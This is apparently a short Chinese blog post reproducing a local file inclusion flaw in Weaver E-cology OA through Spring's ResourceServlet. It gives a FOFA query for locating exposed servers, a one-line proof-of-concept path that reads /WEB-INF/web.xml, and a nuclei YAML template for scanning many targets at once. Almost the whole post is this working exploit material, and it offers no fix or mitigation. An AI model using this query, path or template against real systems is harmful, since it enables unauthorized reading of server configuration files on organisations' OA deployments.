泛微E-cology Springframework本地文件包含漏洞

漏洞描述

E-cology易受Springframework本地文件包含漏洞

漏洞复现

fofa语法:app="泛微-协同办公OA"
登录页面如下:

POC:/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml

nuclei批量yaml文件

id: ecology-springframework-directory-traversal

info:
  name: Ecology Springframework - Local File Inclusion
  author: princechaddha
  severity: high
  description: Ecology Springframework is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: ecology,springframework,lfi
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<url-pattern>/weaver/"
        part: body
posted @ 2023-09-04 15:51  学安全的小白  阅读(287)  评论(0编辑  收藏  举报